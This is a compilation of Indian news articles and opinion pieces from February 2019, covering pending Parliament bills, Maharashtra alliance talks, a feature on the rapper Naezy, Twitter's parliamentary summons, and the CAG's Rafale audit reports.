Arbitration and Conciliation (Amendment) Bill, 2018: The Bill seeks to make several amendments in the Arbitration and Conciliation Act 1996 to smoothen resolution of domestic as well as international disputes. The Bill seeks to establish an independent body called the Arbitration Council of India (ACI) for the promotion of arbitration, mediation, conciliation and other alternative dispute redressal mechanisms, according to PRS India. The Act details the composition of the ACI and contains provisions for contains provisions to deal with domestic and international arbitration, and defines the law for conducting conciliation proceedings. The Bill also seeks to ensure the confidentiality of the parties involved in an arbitration proceeding.

New Delhi International Arbitration Centre Bill, 2018: In line with the Arbitration and Conciliation (Amendment) Bill, 2018, the Bill seeks to create the New Delhi International Arbitration Centre (NDIAC), a centre of national importance that will conduct arbitration, mediation, and conciliation proceedings.



Consumer Protection Bill, 2018: Awaiting approval in the Rajya Sabha, the Bill seeks to set up a Central Consumer Protection Authority (CCPA) to promote, protect and enforce the rights of the consumers. The Consumer Protection Bill 2018, which will replace the Consumer Protection Act, 1986, while defining consumer rights also offers protection to consumers from defective products, misleading advertisements as well as seeks to create Consumer Disputes Redressal Commission and forums at the district, state and national-levels for adjudicating consumer complaints. The Bill will lapse if the Rajya Sabha fails to clear it Wednesday.

Lok Sabha

Though the Upper House has managed to clear key bills like the Finance Bill 2019, work in the Lower House of the Parliament has been slow going.



Banning of Unregulated Deposit Schemes Bill, 2018: Introduced in July 2018, the Bill provides for a mechanism to ban unregulated deposit schemes and protect the interests of depositors. It also seeks to amend three laws, including the Reserve Bank of India Act, 1934, and the Securities and Exchange Board of India Act, 1992. Apart from creating a separate court to deal with cases of unregulated deposits. The Bill is crucial to ensure the public doesn't lose money through unregulated and illegal Ponzi schemes.

Jallianwala Bagh National Memorial (Amendment) Bill, 2018: Introduced in the Lok Sabha during the Winter Session of the Parliament by Minister of State for Culture, Mahesh Sharma, the Bill provides for the erection of a National Memorial in memory of those killed or wounded on 13 April, 1919, in Jallianwala Bagh, Amritsar. Proposing amendments in the Jallianwala Bagh National Memorial Act, 1951, the Bill also seeks to create a Trust to manage the National Memorial.

Central Universities (Amendment) Bill, 2018: Also introduced in the Winter Session of the Parliament, the Bill provides for the establishment of two central universities in Andhra Pradesh to be known as the Central University of Andhra Pradesh and the Central Tribal University of Andhra Pradesh, according to PRS India. The Central Tribal University will take additional measures to provide higher education and research facilities in tribal art, culture, and customs primarily to the tribal population of India.

With inputs from PTIA day after he advocated a tie-up with the Maharashtra Navnirman Sena (MNS) for the Lok Sabha elections, NCP leader Ajit Pawar Wednesday met MNS chief Raj Thackeray in Mumbai

Mumbai: A day after he advocated a tie-up with the Maharashtra Navnirman Sena (MNS) for the Lok Sabha elections, NCP leader Ajit Pawar Wednesday met MNS chief Raj Thackeray in Mumbai.

Pawar later told reporters that the decision on alliance with the MNS would be taken by the "senior leadership" of the NCP and Congress.

The meeting between Pawar and the MNS chief, who have in the past engaged in verbal sparring, took place in Dadar in central Mumbai.

The meeting lasted for about one and a half hours, NCP sources said.

Ajit Pawar had Tuesday pitched for an alliance with the MNS to ensure there is no division of votes as opposition parties take on the ruling BJP-Shiv Sena combine.

He said Wednesday that he met Raj Thackeray as he wanted all anti-BJP parties to come together.

However, he was quick to add that the decision on alliance with the MNS will be taken by the senior leadership of the Congress and NCP.

The issue of forging an alliance with the MNS would be discussed at the meeting of NCP leaders Thursday, Pawar said.

According to sources in the NCP, the party is willing to leave the Kalyan seat from its quota for the MNS.

A Congress leader said on the condition of anonymity that there were differences over the inclusion of MNS in the alliance between the Congress and NCP.

"Though the party (MNS) has tried to make amends (for its past anti-migrant stand) by organising gatherings of the North Indian community, there are misgivings," he said.

The Congress and NCP are at present busy stitching together a coalition of opposition parties in Maharashtra, which sends 48 MPs to the Lok Sabha, the second highest after Uttar Pradesh's 80.The NCP and the Congress have finalised the seat-sharing agreement, Sharad Pawar said, without divulging details of how many seats each party will contest.

New Delhi: The NCP and the Congress on Wednesday finalised the seat-sharing agreement for their alliance in Maharashtra after Sharad Pawar and Rahul Gandhi met in New Delhi.

Rahul met Pawar in the afternoon at the latter's residence. NCP leaders Praful Patel and Supriya Sule as well as Congress leaders Mallikarjun Kharge and KC Venugopal were also present during the hour-long meeting.

The NCP and the Congress have finalised the seat-sharing agreement, Pawar told PTI, without divulging details of how many seats each party will contest.

The announcement of the seat sharing and the details will be made in Mumbai, he said.

In the 2014 Lok Sabha election, the two parties were in alliance and the Congress contested on 26 seats, winning 2, while the NCP contested on 21 seats, winning 4. However, the parties parted ways in the state Assembly polls held months after the general election.This story is part of our DocuWalk series. Read more here. Text by Neerja Deodhar | Photographs by Aashim Tyagi Do you know where Hamza Shaikh or Naved Shaikhs house is? No one by the name of Shaikh lives here. Do you know where Naezys house may be? The man nods in agreement; he knows who were talking about. Were shouting questions at him, and hes shouting the answers back, over the din of bhajans playing at ear-shattering volumes from a mandir nearby. It is 8 am on a Saturday morning, and our crew of three is trying to find our way around labyrinthine Kurla. Five years ago, film writer-director Disha Rindani walked along the same roads with Naved Shaikh  Naezy, as he is better known  when she was making a documentary on him, titled Bombay 70. Before the era of blue-ticks and verified profiles, Disha messaged Naved on Facebook, asking if hed be part of her film. This was enough to get his attention. At our first meeting, he felt it was better for him to come to our side of town because he felt we (Viraj, my associate, and I) wouldnt fit into his gully just yet. But once we met, I realised that he was just being cautious. Twenty-four hours before they could shoot, he expressed his apprehensions about it; he was fearful about overexposing himself. He almost cancelled the shoot He was constantly plagued by dogmas of his faith. He was afraid his beliefs and choices would hurt his family members and the others in his community It took a lot of convincing for him to put his trust in me and I promised him that we wouldnt exhibit anything that was in any way false or that he didnt approve of, Disha says.

He was only three songs old then, but Naved was being pursued by someone else who also wanted to make a short film on him. He wanted to know what my vision would be for the film. He was very sure that he didnt want any part of it being sensationalised or misleading, as it could jeopardise his family and his reputation in the community. It became my moral and professional responsibility to protect the essence and innocence of his story despite the dark edges it came with. As we got to know each other better, he began to trust me, and very soon we crossed over

to his gully in Bombay 70. *** In 2014, near the railway tracks in Kurla, Disha came across a space where Naved would come to clear his head. He came here when he wanted some respite from the noise around him. When we looked for it, we first found a newly-built bridge. A few turns later, the desolate ground became apparent. Its almost as though the world turns monochrome when one enters this space, marked by high fences and grey columns. Naved has changed over the years  and so has his neighbourhood. He understands business talk now, having learnt from experiences where people have short-changed him. I think hes also become more closed. Everyone wants a piece of him, Disha says.

Naved plays to the gallery; he is extremely honest and does not mince his words, Disha says. Once he began talking, he was unstoppable. He had so many stories to tell, and we instantly formed a friendship. She says hes very humourous, and that this trait characterises his music too. *** We take a rickshaw towards LIG Colony. In the middle of this housing complex is a playground. This is one of the places in Kurla where Naezy performed. I remember when we were shooting his performance, there were kids and teenagers surrounding him. They were rapping the lyrics of his songs too. He commanded an audience, they were engaged listeners. It was meaningful viewing, Disha says. In a sense, Naved was including a community, which would not otherwise listen to the genre, into Mumbais rap narrative.

His first big gig was at Blue Frog in Mumbai, following a screening of Bombay 70. Zoya Akhtar and Reema Kagti were at this screening! Disha recounts. *** The conversation about poverty porn is more nuanced now than it was a few years ago. Creators are now more conscious of how they present subjects; those who are not, are called out for exoticising the circumstances their subjects live in or the way they are presented. Did these questions cross Dishas mind? I didnt look at Bombay 70 through any lens except honesty... I didnt force Naved to take me to his house, or places where he may not have been comfortable. You exoticise the subject when youre curious about them but not open or willing to understand, you just want to look... I didnt feel sadness for him. He was happy in his world. My motive to make the film was to show how he made his music.

We discuss the undeniable reach of a mainstream film, about its ability to create a conversation. But what about the risk that a feature film will become more about the people who make it and star in it, rather than the subject? Its all about the makers integrity. Every film is about what the maker wants to say. They sometimes use someone elses story Then its a question of how much of it is a vanity project, and how much is earnest expression, Disha says. *** Were now going to meet Nikhil Naik, Naveds longtime collaborator, who goes by the name N Cube. Cafe Medina Hotel, a small but bustling restaurant near Halav Pool, is the meeting place we decide on. A few minutes later we realise that hes been waiting at another outlet of the same restaurant. Medina is the KFC of this neighbourhood, its a sort of franchise, Nikhil explains, when he sees us.

Its soon going to be noon and the sunlight will only get harsher, so we decide to take a few portrait shots of him against a bright green wall. Two minutes in, I notice that a group of three to four men  no older than 25  are watching us. It would be remiss to think they were curious about the camera and shoot; they were there to speak to Nikhil. They recognised Nikhil from a distance. Though he lives on the outskirts of Dharavi, Nikhil is known by more people in Kurla, through his association with Naved and his own music. Dharavi has its own rap ecosystem, populated by the people who live in and near it. They keep moving in and out of it, he explains. We settle down to have multiple cups of tea and bun maska. Nikhil tells us hed been rapping before he met Naved in Khalsa College, where they both studied. He recounts that time in their lives when Naveds recordings and releases would clash with his exams. Their loyalty towards each other is inexplicable, and its apparent from the way Nikhil speaks of Naved.

Their partnership came into being organically; Naved would rap and Nikhil would shoot him on an iPad. Bombay 70 shows Naveds entire production lay in one cabinet in his house  an iPad given to him by his father, which would be used to shoot video and create tunes. He also used a chhanni (tea filter) to add texture to his voice, and the scene that captures this in Bombay 70 is mirrored in Gully Boy. They would buy hoodies from Chor Bazaar. Naved was creating gold using whatever means he had, Disha says.

The duo ran a page on Facebook called Schizophrenics., the idea for which came from Naved. For three years before they could put out the first track, they were honing their craft and largely freestyling. Raftaar commented on one of Naveds tracks, and Brodha V shared one of his videos. Soon enough, Naved was on the map. *** Theres a scene in Bombay 70 where Naved talks about performing Temperature by Sean Paul in front of kids from his school. It was a song he had heard many DJs play, and which he could sing with relative ease (despite its complicated lyrics, spoken at a fast speed). The people around him didnt understand what he was singing, but he says they acknowledged he was good at what he was doing. Naezy created Bambaiyya rap. He realised that Hindi-Urdu is the language of the people, that they would not understand English, Nikhil says. One of the darker parts of the narrative surrounding rap in Mumbai is that while there are a number of people who have made it big, there exists a much larger proportion of those who have not. However, hustle and grind is central to the stories of rappers, successful and lesser-known. Will mainstream films be able to showcase this grind, this struggle realistically? It remains to be known, says Nikhil. I look at people of privilege and stardom playing roles of people like me, when I want to see myself in them, says Nikhil. Still, he hopes that the film will change peoples perception about this genre of music. I hope Gully Boy will encourage the parents of children who want to pursue hip-hop to support them. *** In one part of Bombay 70, Naved is wearing a salwar and kurta (he was fasting for Ramzan when the film was shot), and in the other, hes dressed in jeans and a t-shirt, along with his characteristic cap and sunglasses. The sunglasses are more to hide his eyes and less a fashion statement, he says. Its clear, through these images and the things Naved speaks about, that hes straddling many different identities at the same time  of being the only child of his parents, of being a Muslim, of a being third-generation resident of Kurla who wants to make a difference. He mentions that in his community, creating music is haram, adding that his mother wasnt sure about him pursuing rap as a career. In another part of the film, she is encouraging a young child to sing his song, signaling that there is acceptance.

Naved also speaks about leaving behind the life he lived before he was 16, when he had run-ins with the police and he committed some petty crimes, like stealing from shops. Music seems to mean self-expression for him, and a step away from the past. 'Mere zindagi mein aisa samay aaya jab mujhe samajh aaya ki chhodna hai yeh sab, phir main wapas sahi raaste pe aa gaya Pata nahi yeh rasta sahi hai ki nahi,' he says. As we walk through the gullies he once called home, Disha says: There is Naved, and there is Naezy. If Naved wasnt born here, if his life wasnt shaped by these experiences  if Naved wasnt Naved  Naezy could have been anyone. His music has the flavour of where he comes from, of the communities he is part of. Its why I titled the film Bombay 70. Watch Bombay 70: Also read on Firstpost  Inside 'Baraf': The ice industry at Sassoon Docks which keeps Mumbais fish fresh Inside 'Aunty Sudha Aunty Radha': Two women ponder life and death in UP's Lahra village Inside 'Under the Open Sky': Mumbra's girls find freedom, reclaim public space through footballOn World Radio Day, take this quiz to check how well aware you are of world as well as Indian radio's history and its famous personalities

In 2011, the United Nations proclaimed 13 February as World Radio Day, celebrating not only the commencement of the UN radio channel in 1946, but also the medium which has enthralled humans for almost a century. Wednesday marks the eighth World Radio Day: this year's theme is Dialogue, Tolerance and Peace. India has its own history and rich heritage of radio broadcasting. Right from the 7th Nizam of Hyderabad setting up the Deccan Radio or Nizam Radio to services such as All India Radio, Akashvani and Vividh Bharathi entertaining and educating the country right through the Freedom Struggle as well as an independent nation. Even in the 21st Century, the airwaves continue to entertain people across the country. On World Radio Day, take this quiz to find out how aware you are of world as well as Indian radio's history and its personalities.Valentines Day is not all about roses and chocolates. Here are some unusual traditions from around the world

Valentine's Day brings to mind visions of heart-shaped candy boxes, stuffed animals, and roses. Greeting card companies can anticipate a bump in sales, and restaurants witness a similar spike in dinner reservations (preferably of the candle-lit variety). However, not everyone turns to roses and chocolates to declare their love. From consuming a plateful of black noodles to exchanging wooden spoons, here are few unusual traditions from around the globe that are followed on 14 February.

Denmark

Rather than red roses, white snowdrop pressed flowers are a popular choice on Valentines Day in Denmark. Admirers also send the object of their affection a gaekkebrev  a "joking letter" consisting of a funny poem or rhyme  written on intricately cut paper and signed only with anonymous dots. If the receiver can guess who sent the letter, they earn themselves an Easter egg later that year.

South Korea

South Koreans have a series of traditions for Valentines Day that begin in February and go until April. On Valentines Day, 14 February, women give chocolates to men as a sign of love and affection. The favour is returned on 14 March, a holiday known as White Day, when men shower their beloved with lighter-coloured treats, like white chocolate.

And for those who don't have much to celebrate on either of the days, there is 14 April  Black Day. It's a tradition for singles to mourn their solitary status by eating dark bowls of jajangmyeon, or black bean-paste noodles.

Wales

People in Wales celebrate Saint Dwynwen, the Welsh patron saint of lovers, on 25 January. In the early 17th century, Welsh men craved intricate wooden spoons as a token of affection for the women they loved. Patterns and symbols were carved into these love spoons, each signifying a different meaning. Today, love spoons are also exchanged during births, weddings and anniversaries.

Brazil

With the traditional carnival held around February or March each year, Brazilians skip 14 February and celebrate Dia dos Namorados, or "Lovers' Day," on 12 June. Brazilians honor St. Anthony, the patron saint of marriage and matchmaking, on 12 June. According to Readers Digest, the night before, single women will write mens names on pieces of paper then fold them up. In the morning, they pick a slip to reveal their future husbands

France

With a reputation of being one of the most romantic places in the world, France has always celebrated Valentine's Day, as the 'Day of lovers.' A traditional Valentine's Day event in France was the loterie d'amour, or "drawing for love." Hopeful singles would line up in houses facing each other and call through the windows until they eventually paired up. Women who weren't paired would light up a bonfire and burn pictures of men who wronged them, whilst hurling insults. The event became so unruly that the French government eventually banned the tradition all together.

South Africa

Like many parts of the world South Africa celebrates the day with chocolates, flowers and cards. However, in an unusual way, they wear their hearts on sleeves  literally. Following an old-age Roman festival called Lupercalia (thought to be the predecessor to Valentines Day), young girls pin the name of their love on their sleeve for the day.The police has advised citizens not to venture inside the encounter zone in Budgam's Gopalpora, as it can prove dangerous due to stray explosive materials.

Budgam: Two terrorists were killed on Tuesday in a gun-battle with the security forces in Jammu and Kashmir's Budgam. Identities and affiliations of the killed terrorists are being ascertained.

Incriminating materials including arms and ammunition were recovered from the site of encounter.

Jammu And Kashmir: 2 terrorists have been neutralised by the security forces in an encounter which broke out in Gopalpora area of Budgam district earlier this morning. Arms and ammunition have been recovered from the site of encounter. (Visuals deferred by unspecified time) pic.twitter.com/86wUKUu2VQ  ANI (@ANI) February 13, 2019

Based on a credible input about the presence of terrorists in Gopalpora area of Chadoora in Budgam district, a cordon and search operation was launched in the intervening night jointly by the state police and security forces. As security forces conducted searches, they were fired at by the terrorists. The fire was retaliated leading to a gunfight. The police has advised citizens not to venture inside the encounter zone, as it can prove dangerous due to stray explosive materials. People have also been requested to cooperate with police till the area is completely sanitized and cleared of all the explosive materials if any.Real issues with social media that urgently need addressing, as well as the threat of increased government surveillance that needs fighting, will now get lost in all the posturing.

The story of the Indian parliaments summons to Twitter bears retelling for the saga that it is. In a sea of confusing conflicts and issues, one thing is clear: no one comes out looking good. And this image issuethe politics of opticsmight well be the sole cause for the entire circus. The casualty? Real issues with social media that urgently need addressing, as well as the threat of increased government surveillance that needs fighting, will now get lost in all the posturing.

How did the standing committee on ITs action against Twitter begin? Not with a social-media inspired lynching; not because of continuing caste- and gender-based abuse; not to answer for the terrifying allegations of election manipulation by companies like Cambridge Analytica, or even to discuss the avalanche of fake news. There have been no hearings on any of these matters.

It began with a #ProtestAgainstTwitter launched by right wing ideologues who were upset with what they perceived to be a bias against them on the popular platform. They submitted a letter to Anurag Thakur, the chairman of the standing committee. It was this letter that appears to have triggered the summons.

In response, Twitter tried to use the ploy internet giants have used regularly in India to escape oversight. The ploy was simple; Twitters legal team claimed that its India officials have no decision-making authority, and therefore have no accountability for the actions of the platform. Google, for instance, has used this in the past, claiming its India office is only a sales office. This is one among many shady legal tactics that have been used by social media companies to evade responsibility for a lot of the harm that they cause, from the dissemination of fake news to bullying and harassment.

Unfortunately for Twitter, the tactic failed this time. There was too much of a political incentive to capitalise on the issueto delight right wing protestors, project nationalist strength, and showing the company whos boss. Anurag Thakur and the standing committee ended up using the legal statement as an excuse to summon the Twitter CEO Jack Dorsey himself.

What the parliamentary committee underestimated was the extraterritoriality of Twitter, and indeed of all internet companies. This past decade has shown the limitations of national boundaries and security apparatuses when it comes to the Internet. After all, the biggest and most technologically advanced nation-state, the United States, found its elections manipulated by technology. It was no surprise then that Dorsey simply refused to appear before the committee, claiming he was not given enough notice to do so. What could India do, send a team to arrest him in San Francisco? Were having trouble bringing home our own errant citizens!

The optics of this refusal are terrible. The standing committee looks impotent. Dorsey comes across as disrespecting the parliament of a key market. It remains to be seen what will play out on 25 February, the next date Dorsey has been offered to make the trip to India.

What is more, the drama is spreading: perhaps because its singling out of Twitter looks like a political vendetta, the standing committee is now widening the dragnet, and considering action against Whatsapp, Facebook and Google. This means Sundar Pichai and Mark Zuckerberg may be next on this list of invitees.

But what will all this political theatre really achieve? Did not our lawmakers watch the anodyne deposition Zuckerberg delivered to the US Senate? What makes us think it will be any different in the Indian parliament? It is hard to think of these actions as anything but a loud distraction from the real issues.

It would do us citizens good to ignore the whole drama. Instead, we should keep an eagle eye on a much more important issuethe draft of a new internet bill. Some of its provisions directly address the issues raised by this brouhahafor instance, they require companies with more than fifty lakh users to have a physical presence in the country, as well as designate officials who can coordinate with government. Had these rules been in place, the Dorsey drama would not have taken place.

The bill also aims to hold Internet platforms more accountable for the misinformation they can spread. This sounds like a good thing until we see the text of the draft. In the name of identifying offenders and limiting the spread of harmful content, the bill is threatening to give the Indian State China-like powers of surveillance and censorship. This includes automated censorship, by algorithms, of any content the government deems threatening to public safety. It also allows unnamed government agencies access to private data, including our messages, without any requirement of a court order. Unless these powers are limited and the text of the bill amended, we are opening up anyone who criticises the governmentand therefore looks out for citizens intereststo threats and coercion by the State.

Fortunately, we have an active civil society that has submitted several comments to the IT ministry warning against the dangers the bill poses, but as we have seen before with Aadhaar, the ministry has no reason to heed any of these. It has the majority in the Lok Sabha. It has also invited counter comments to these comments. We have to remain vigilant and keep up the pressure to ensure the problematic provisions dont go through.

The Parliamentary Commitee on Information Technology takes very serious note of this. We will take appropriate action on 11th February. Citizens are welcome to send their concerns/issues via email to the Parliamentary Commitee. comit@sansad.nic.in https://t.co/oKBzdoJkhV  Anurag Thakur (@ianuragthakur) February 9, 2019

Equally, if we correct for its problems, this bill is a true opportunity to make Internet platformspowerful and rich private companiesmore accountable to citizens. Most of us have no love for troll armies; nor do we want the internet to become a haven of propaganda and counter-propaganda, with no regard for facts.

Thakur has invited comments on its actions against Twitter. Let us flood its inbox with real concerns, instead of further encouraging this trumped-up farce.Insisting that the law and order situation had been maintained effectively during the last two years of his government, Punjab chief minister Amarinder Singh said three of the six persons involved in gang-rape incident had been arrested.

Chandigarh: The Ludhiana gang-rape incident was in the spotlight in the Punjab Assembly on Wednesday, with the Opposition alleging that the law and order situation in the state had deteriorated under the Congress government.

Punjab chief minister Amarinder Singh assured the House that he would request the Chief Justice of the Punjab and Haryana High Court to set up a fast track court to bring the accused to justice. On Saturday, a 21-year-old woman was gang-raped in Ludhiana, and three of the six accused in the case have been arrested.

During the Zero Hour, AAP MLA Sarabjit Kaur Manuke raised the Ludhiana gang rape issue.

AAP MLA HS Phoolka while describing it as a "serious matter" sought assurance from Singh to adopt zero-tolerance towards such a heinous crime. Shiromani Akali Dal and AAP members alleged that the law and order situation had deteriorated in Punjab under the present government.

Insisting that the law and order situation had been maintained effectively during the last two years of his government, the chief minister said three of the six persons involved in gang-rape incident had been arrested. The remaining three will be nabbed soon, Singh informed the House.

He assured the House that he would urge the Chief Justice to set up fast track court and hold its proceedings on a day-to-day basis. Singh said he was ready for a debate in the House on the law and order situation.

The AAP and SAD-BJP also raised the issue of an incident of lathicharge against teachers in Patiala on Sunday. SAD and BJP MLAs walked out of the House over the issue.

Later, AAP MLAs, barring rebel legislators in the party and Phoolka, staged a walk out on the teachers and Ludhiana gang rape issues.One of our mission statements from the beginning has been to support our community of farmers and producers. For almost 20 years, we have striven to fulfill this mission everyday, says Angie Law, retail operations manager at Atwater's. Our menu reflects our relationship with many of these farms. From the breakfast sausage from Evermore Farms, the milk from Trickling Springs in our lattes, and Liberty Delight Farms beef in our new shepherds pie. Not only are these farms local, they make great delicious products. And were excited to share them with our customers.The performance audit report of the Comptroller and Auditor General of India on capital acquisition in the Indian Air Force pertaining to the purchase of 36 Rafale aircraft by the Indian government from the France government, was tabled at last in the Parliament on Wednesday.

The performance audit report of the Comptroller and Auditor General of India on capital acquisition in the Indian Air Force pertaining to the purchase of 36 Rafale aircraft by the Indian government from the France government, was tabled at last in the Parliament on Wednesday. The executive summary of the report noted at the outset that the Rafale negotiation panel of the Ministry of Defence "failed" in estimating a benchmark for pricing, making it difficult for the CAG to establish "the reasonability of price".

The report came out in two volumes, with the first volume entirely devoted to discussing the systematic issues prevalent in the acquisition process, with the examples of 10 acquisition contracts.

In the second volume, the controversial pricing angle of the medium multi-role combat aircraft has been examined. The report, however, does not contain the actual prices. A press statement released by the office of the CAG said this was "based on the insistence of the Ministry of Defence citing the Indo-French Agreement of 2008 and the provisions of Inter Government Agreement (IGA)."

In the summary at the beginning of the report, it was noted that the defence ministry's Contract Negotiations Committee's failure to estimate a benchmark price also caused a delay in price evaluation and contract negotiations."The model used for calculating the life cycle cost of acquisitions had several deficiencies and needs to be fine-tuned and improved further," the report noted.

The audit report also asked questions on the efficacy of the Indian Air Force's Air Staff Qualitative Requirements (ASQRs) parameters in truly reflecting the users' functional need. It also pointed out the IAF's inability to delineate the requirements, something which impeded the whole process of procurement."IAF did not define the ASQRs properly.As a result none of the vendors could fully meet the ASQRs. ASQRs were changed repeatedly during the procurement process. This created difficulties during technical and price evaluation and affected the integrity of competitive tendering. It was also one of the main reasons for delays in acquisition process. The objectivity, equity and consistency of the technical evaluation process was not evident in the Technical Evaluation Report," the report noted.

The audit also noted that the vendor response to solicitation of offers was low, which restricted competition. The number of vendors who responded to the request for proposal (RFP) was far fewer than the number of vendors who were invited to bid.The acquisition process under which the IAF was functioning also saw delays at various stages, the report noted. This delay was not just noted in the case of the Rafale jets but for other cases too."Against three years envisaged in Defence Procurement Process, four cases took more than three years and seven cases took more than five years to reach the contract conclusion stage. Delays in acquisition were essentially due to a complex and multi-level approval process, where objections could be raised at any stage," the report noted.

Overall the capital acquisition system, as it exists, is unlikely to effectively support the IAF in its operational preparedness and modernization, the report found.

The audit finally advised the defence ministry to revisit "the entire process of acquisition, to weed out redundant activities and simplify the process." "The acquisition wing, headed by the DG (Acquisition) was envisaged as an integrated defence organisation. In reality, this has perhaps not happened, with bulk of the acquisition related activities still carried out in Services Headquarters," the report noted.

Follow LIVE updates of the Rafale deal row hereTwitter and other social media platforms wield outsize influence over consumers in a democracy and manipulation of these platforms may have grave repercussions.

Theres a storm brewing on Twitter. In India, the micro-blogging networks fastest growing market, the parliamentary panel is unhappy that Twitter ignored its summons and sent local officials to meet the parliamentary Department-Related Standing Committee (DRSC) on Information Technology to discuss the issue of safeguarding citizens rights on social/online news media platforms, data privacy and interference in the upcoming Lok Sabha elections.

Behind the stated reason for the summons lay another layer of concern that right-wing voices in India were being systematically suppressed and the platform was cherry picking on individuals for suspension, blocking, shadow-banning or penalising them based on their ideological bent.

This is an old charge, not limited to Indian shores, but it has gained traction in recent times as the election dates have drawn near, possibly because of the fact that Twitter and other social media platforms wield outsize influence over consumers in a democracy and manipulation of these platforms may have grave repercussions.

There have been recent submissions and protests by conservative voices. This month, a group that calls itself Youth for Social Media Democracy, organised a protest before Twitters New Delhi office.

Delhi: Members of 'Youth for Social Media Democracy' protest outside the office of Twitter India. Protesters say "Twitter has acquired an anti-right wing attitude. They block our accounts & impressions of the tweets. We won't tolerate this, they will have to change their policy." pic.twitter.com/rsgTO99uWx  ANI (@ANI) February 3, 2019

Concurrently, New Delhi-based lawyer Ishkaran Singh Bhandari submitted a representation before the home ministry on Discriminatory And Unfair Practises By Twitter, Inc. Which Are A National Security Threat where he accused Twitter of downranking and shadow-banning right-wing users of the platform.

Met the Honble Home Minister Sh @rajnathsingh ji & handed over my representation against biased behaviour of Twitter against Nationalist accounts, which is threat to democracy & National Security. Gave solutions to ensure free & fair elections. pic.twitter.com/R08F2m5ExQ  Ishkaran Singh Bhandari (@Ish_Bhandari) January 28, 2019

Twitter was asked to appear before the panel on 11 February, but on the platform refusing to send CEO Jack Dorsey and/or senior global officials due to short notice, the panel has now revised the date till 25 February and warned the platform that if the global CEO fails to comply, the panel will be forced to take a serious note because Twitter would be seen breaching parliamentary privilege.

The Parliamentary Commitee on Information Technology takes very serious note of this. We will take appropriate action on 11th February. Citizens are welcome to send their concerns/issues via email to the Parliamentary Commitee. comit@sansad.nic.in https://t.co/oKBzdoJkhV  Anurag Thakur (@ianuragthakur) February 9, 2019

In this respect, it is pertinent to point out that though the DRSC is headed by BJP MP Anurag Thakur, it is a bipartisan panel represented by 21 members from across the political field where decisions are arrived at by voting. This panel, as Prashant Reddy points out in Economic Times, has produced detailed bipartisan reports in the past and since its hearings are held behind closed-doors, political point scoring by publicly harassing Twitter officials wont be a workable strategy.

To argue, therefore, that the government was flexing its muscle before elections by bullying Twitter and trying to appease its core base, is specious. On the other hand, Twitters stance as elucidated in a media statement: Given the short notice of the hearing, we informed the committee that it would not be possible for senior officials from Twitter to travel from the United States to appear on Monday. Our CEO, Jack Dorsey, and other senior Twitter executives visited India in recent weeks because it is an important market for Twitter and we value the growing interest in Twitter in India smacked of arrogance and callous disregard for the institution called Indian Parliament, not any political party.

This has been a problem with US-based social media giants. Their frequent run-offs with lawmakers even in the US have been widely reported. From Facebook, to Google and Twitter, getting high-flying CEOs to appear before lawmakers is a herculean task and they agree to eventually testify only after other options have been exhausted.

For instance, as The Indian Express pointed out in a report, Dorsey was called to testify before congressional committee members on Russian interference in the 2016 presidential election in late 2017 but the companys acting general counsel turned up instead. Facebook and Google behaved similarly, prompting a US senator to remark: Im disappointed that youre here, and not your CEOs. Its fine to send general counsel, but I think if you could take a message back from this committee, if we go through this exercise again, we would appreciate seeing the top people who are actually making the decisions.

Summoning the head of a social media platform to get more clarity on their algorithm, policy or content-moderation processes is a legitimate practice covered by law. It is, in fact, a necessary practice because if the platforms suffer from an inherent bias or even mistakes or false positive decisions as a recent Twitter statement claimed, it needs clarification. And Twitter, which claims to run the most open conversational tool in history shouldnt have any problems in appearing for a dialogue.

In terms of policies, as Reddy succinctly noted in his piece for Economic Times, Parliament should intervene to force social media platforms to be more transparent in their content moderation practices, given how important these platforms are to political speech in India. To be sure, the charge against Twitter that it suffers from a left-leaning bias is not exaggerated or untrue. Dorsey has admitted that Twitter needs to constantly show that we are not adding our own bias, which I fully admit is  is more left-leaning, during a CNN interview.

In another interview to tech magazine Recode, Dorsey clarified that we have a lot of conservative-leaning folks in the company as well, and to be honest, they dont feel safe to express their opinions at the company.

This in itself is a startling admission, and adds to charges of selective admonition of users. A report in USA Today, for instance, pointed out the case of 20-year-old Hispanic student Ariana Rowlands from California, who had tweeted: So proud of my Hispanic Heritage and so proud to support @realDonaldTrump for President!! in September under a hashtag celebrating Hispanic Heritage Month.

Soon after, she began receiving personal attacks and death threats, according to the report. Rowlands apparently reported the abuse but she says Twitter did nothing. And, she says, it wasn't the first time Twitter ignored concerns for her safety that she and her Twitter followers expressed and even reported to police. Shadow-banning of prominent Republicans in the US made global news and Twitter was forced to admit later that it was a side effect of its attempts to improve the quality of discourse on the platform.

Given the seriousness of these charges and the unresolved issues, not to speak of legitimate concerns around interference during elections and data privacy of users, Dorsey should have no qualms in appearing before the panel for an honest conversation. It will lead hopefully to more clarity, transparency and consequently a better platforms that users may trust.The CAG report on Rafale deal, which was tabled in Rajya Sabha on Wednesday, has countered the misconception that the NDA government led by Prime Minister Narendra Modi went for a costly deal with France.

The Comptroller & Auditor General (CAG) report on Rafale deal, which was tabled in Rajya Sabha on Wednesday, has countered the misconception that the NDA government led by Prime Minister Narendra Modi went for a costly deal with France. The report, comparing the cost analysis of UPA versus NDA deal (2007-2015), has said that the deal for 36 'ready-to-fly' Rafale jets that was inked between India-France under inter-government agreement is 2.86 percent cheaper than the UPA deal.

The report also said that the NDA saved 17.8 percent in Indian Specific Enhancement though the amount of money has not been made public. Coming as a disappointment for Opposition, especially the Congress which is raking up the Rafale as NDA Bofors, the CAG found no scam in the deal and slammed the delay caused by the UPA government in acquiring much needed aircraft for the Indian Air Force (IAF). The cost analysis by the CAG has scrutinised six different packages  flyaway aircraft package, maintenance package, Indian specific enhancement, weapon package, associated services and simulator package. Even the weapons package negotiated under the NDA government is cheaper than previous negotiations conducted the UPA regime.

Item of Supply Variation (%) Flyaway Aircraft Package 0 Service products -4.77 Indian Specific Enhancement -17.08 Standards of Preparation 0 Engineering Support Package +6.54 Performance-based Logistics +6.54 Tools, Testers and Ground Equipment +0.15 Weapons Package -1.05 Role equipment 0 Training of pilots and technicians +2.68 Simulator and simulator training 0 TOTAL -2.86

The CAG report has categorically stated that during negotiations, the NDA government managed to get the required missiles in the jets that saved more money than previous deal that couldn't be finalised.

